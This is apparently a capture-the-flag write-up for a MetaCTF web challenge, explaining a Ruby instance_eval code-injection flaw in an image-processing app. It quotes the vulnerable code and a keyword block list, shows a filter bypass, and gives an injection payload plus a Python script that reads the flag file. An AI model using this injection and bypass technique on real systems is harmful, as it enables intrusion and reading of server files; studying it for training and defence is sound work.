MetaCTF January 2026 - PixelPerfect

Challenge Overview

Name: PixelPerfect Type: Web Description: An image processing web application that allows users to upload images and apply transformations using metadata directives.

Vulnerability Analysis

The vulnerability exists in the image_processor.rb (or app.rb class ImageProcessor) where user-supplied metadata is processed.

The Vulnerable Code

At line 58 of app.rb:

1
instance_eval("apply_#{directive}('#{value}')")

This uses instance_eval to dynamically execute methods based on the directive and value provided in the metadata. This is a classic Ruby Code Injection vulnerability.

The Filter

The application attempts to filter malicious input at line 23:

1
if text =~ /system|exec|`|\$|eval|load|require|IO|File|#\{/
2
  raise "Potentially malicious metadata detected!"
3
end

This regex blocks many dangerous keywords, including File and eval.

Exploitation

Step 1: Filter Bypass

We need to read the flag from the filesystem. The obvious choice File.read('/flag.txt') is blocked because it contains File.

However, the ImageProcessor class has a utility method:

1
def read_file(path)
2
  File.read(path)
3
end

Since the filter /File/ is case-sensitive (by default in Ruby), the string read_file (lowercase) successfully bypasses the filter! Alternatively, Ruby’s open() method (from Kernel) is also available and not blocked.

Step 2: Code Injection

We can inject code by breaking out of the string interpolation in instance_eval. If we send metadata format: jpg'); CODE; #, the eval becomes:

1
apply_format('jpg'); CODE; #')

Step 3: The “Hash Iteration” Constraint

A major hurdle was exfiltrating the flag. We initially tried to add the flag to the @metadata hash so it would be displayed on the success page:

1
@metadata['flag'] = read_file('/flag.txt')

This failed because the injection happens incorrectly inside the @metadata.each loop mechanism (or similar context). Ruby throws a RuntimeError: can’t add a new key into hash during iteration.

Step 4: The Solution

Since we cannot add new keys, we must modify an existing key. The format key is already present in the hash being iterated.

Payload:

1
format: jpg');@metadata['format']=open('/app/flag.txt').read.chomp;#

Execution Flow:

1. apply_format('jpg') runs successfully.
2. @metadata['format'] is updated with the content of /app/flag.txt.
3. The rest is commented out with #.
4. The application completes processing and renders success.erb.
5. success.erb iterates over @metadata and displays the modified format value, revealing the flag.

Final Exploit Script

1
import requests
2
import re
3

4
url = "http://eie7rrzs.chals.mctf.io/process"
5

6
# Create dummy image
7
with open("test.jpg", "wb") as f: f.write(b"test")
8

9
# Exploit payload
10
# 1. Close the apply_format call: jpg')
11
# 2. Modify EXISTING key to bypass iteration constraint: @metadata['format']=...
12
# 3. Read flag (using open/read/chomp): open('/app/flag.txt').read.chomp
13
# 4. Comment out rest: ;#
14
metadata = "format: jpg');@metadata['format']=open('/app/flag.txt').read.chomp;#"
15

16
response = requests.post(url,
17
    files={'image': ('test.jpg', open('test.jpg', 'rb'), 'image/jpeg')},
18
    data={'metadata': metadata},
19
    allow_redirects=True
20
)
21

22
# Extract Flag
23
matches = re.findall(r'(MetaCTF\{[^}]+\})', response.text)
24
if matches:
25
    print(f"FLAG: {matches[0]}")

Flag

MetaCTF{1nst4nc3_3v4l_m4k3s_y0ur_RMagick_g0_b00m}